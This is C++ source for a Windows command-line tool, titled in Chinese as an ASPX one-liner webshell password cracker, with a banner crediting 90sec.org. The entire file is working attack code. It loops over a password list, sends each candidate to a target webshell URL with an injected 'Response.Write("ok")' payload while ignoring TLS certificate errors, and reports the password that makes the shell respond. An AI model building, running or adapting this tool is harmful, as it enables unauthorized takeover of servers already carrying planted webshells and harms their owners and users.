ASPX一句话爆破工具

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include <string.h>
#include <string>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")

void banner() //显示banner
{
	printf("[-]:Webshell Aspx crack T00ls\r\n[-]:Welcome www.90sec.org\r\n");
}

int _tmain(int argc, _TCHAR * argv [])
{
	DWORD dwsize = 0;
	LPSTR pszOutBuffer;
	LPBYTE lpHeader, lpData;
	LPCWSTR Host = argv[1];
	LPCWSTR Url = argv[2];
	char buf[MAX_PATH] = {0}; //fgets接收字符串
	FILE* fp;
	int i = 0;

	if (argc < 4) //如果入口长度小于4
	{
		banner();
		printf("[-]:%S Host Domain_Url Password_List\r\n",argv[0]);
		return 0;
	}

	if ((fp = _wfopen(argv[3],L"rb")) == NULL) //打开文件，如果不存在
	{
		printf("File not found\r\n"); //打印错误
		return 0;
	}
	while ((fgets(buf,MAX_PATH,fp))) //这儿注意，fgets读取文件，默认一行尾端会增加一个回车，我就是在这儿卡了一晚上
	{
		buf[strlen(buf) - 2] = ‘\0‘; //倒数第二个字符，也就是回车，替换

	HINTERNET Hinternet = WinHttpOpen(L"HttpClient 1.0", //定义访问sessions
		WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
		WINHTTP_NO_PROXY_NAME,
		WINHTTP_NO_PROXY_BYPASS,0);
	if (Hinternet == NULL) //如果定义访问的sessions为空
	{
		printf("Failed to Initialize http sessions\r\n");
		return 0;
	}

	HINTERNET Hconnect = WinHttpConnect(Hinternet, //初始化连接
		Host, //定义地址
		INTERNET_DEFAULT_HTTPS_PORT,//默认端口443
		0);

	if (Hconnect == NULL) //如果为空，就close winhttp句柄
	{
		printf("Hconnect error\r\n");
		WinHttpCloseHandle(Hinternet);
		return 0;
	}

	WCHAR* res = new WCHAR[MAX_PATH + 1]; //释放内存，准备写入数据
	wsprintf(res,L"%s?%S=Response.Write(\"ok\");Response.End()",Url,buf); //写入字符串到释放内存的变量里
	HINTERNET Hrequest = WinHttpOpenRequest(Hconnect, //准备传输，定义好格式
		L"GET",
		res,
		L"HTTP /1.1",
		WINHTTP_NO_REFERER,
		WINHTTP_DEFAULT_ACCEPT_TYPES,
		WINHTTP_FLAG_SECURE|WINHTTP_FLAG_REFRESH);

	if (Hrequest == NULL) 
	{
		WinHttpCloseHandle(Hinternet);
		WinHttpCloseHandle(Hconnect);
		return 0;
	}

	DWORD dwFlags;
	DWORD dwBuffLen = sizeof(dwFlags);           
	WinHttpQueryOption (Hrequest, WINHTTP_OPTION_SECURITY_FLAGS, //设置查询选项
		(LPVOID)&dwFlags, &dwBuffLen);
	dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
	dwFlags |= SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
	dwFlags |= SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
	dwFlags |= SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;

	WinHttpSetOption (Hrequest, WINHTTP_OPTION_SECURITY_FLAGS, //设置选项
		&dwFlags, sizeof (dwFlags) );

	if (WinHttpSendRequest(Hrequest, //发送数据
		WINHTTP_NO_ADDITIONAL_HEADERS,0,
		WINHTTP_NO_REQUEST_DATA,0,0,0) == FALSE)
	{
		DWORD err  = GetLastError();
		WinHttpCloseHandle(Hrequest);
		WinHttpCloseHandle(Hconnect);
		WinHttpCloseHandle(Hinternet);
		return 0;
	}

	if (WinHttpReceiveResponse(Hrequest,NULL) == FALSE) //开始读取相应
	{
		DWORD err = GetLastError();
		WinHttpCloseHandle(Hrequest);
		WinHttpCloseHandle(Hconnect);
		WinHttpCloseHandle(Hinternet);
		return 0;
	}

	DWORD dwSize = 0;
	if (!WinHttpQueryDataAvailable( Hrequest, &dwSize)) //检查是否还有数据接受
		printf( "Error %u in WinHttpQueryDataAvailable.\n",
		GetLastError());

	WinHttpQueryHeaders(Hrequest, //查看http响应头
		WINHTTP_QUERY_RAW_HEADERS_CRLF,
		WINHTTP_HEADER_NAME_BY_INDEX,NULL,
		&dwsize,WINHTTP_NO_HEADER_INDEX);
	lpHeader = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwsize);

	WinHttpQueryHeaders(Hrequest, 
		WINHTTP_QUERY_RAW_HEADERS_CRLF, 
		WINHTTP_HEADER_NAME_BY_INDEX, 
		lpHeader, &dwsize, 
		WINHTTP_NO_HEADER_INDEX);
	HeapFree(GetProcessHeap(), 0, lpHeader);
	DWORD dwDownloaded = 0;
	pszOutBuffer = new char[dwSize+1];
	if (!pszOutBuffer)
	{
		printf("Out of memory\n");
	}

	ZeroMemory(pszOutBuffer, dwSize+1); 
	if (!WinHttpReadData( Hrequest, (LPVOID)pszOutBuffer, 
		dwSize, &dwDownloaded))
	{                                  
		printf( "Error %u in WinHttpReadData.\n", GetLastError());
	}
	if (strstr(pszOutBuffer,"ok"))
	{
		printf("Line:%d-->Find password Success:%s\n",++i,buf);
		return 0;
	}else
	{
		printf("Line:%d-->password Not found:%s\n",++i,buf);
	}
}
	delete[] pszOutBuffer;
	//delete[] res;
	return 0;
}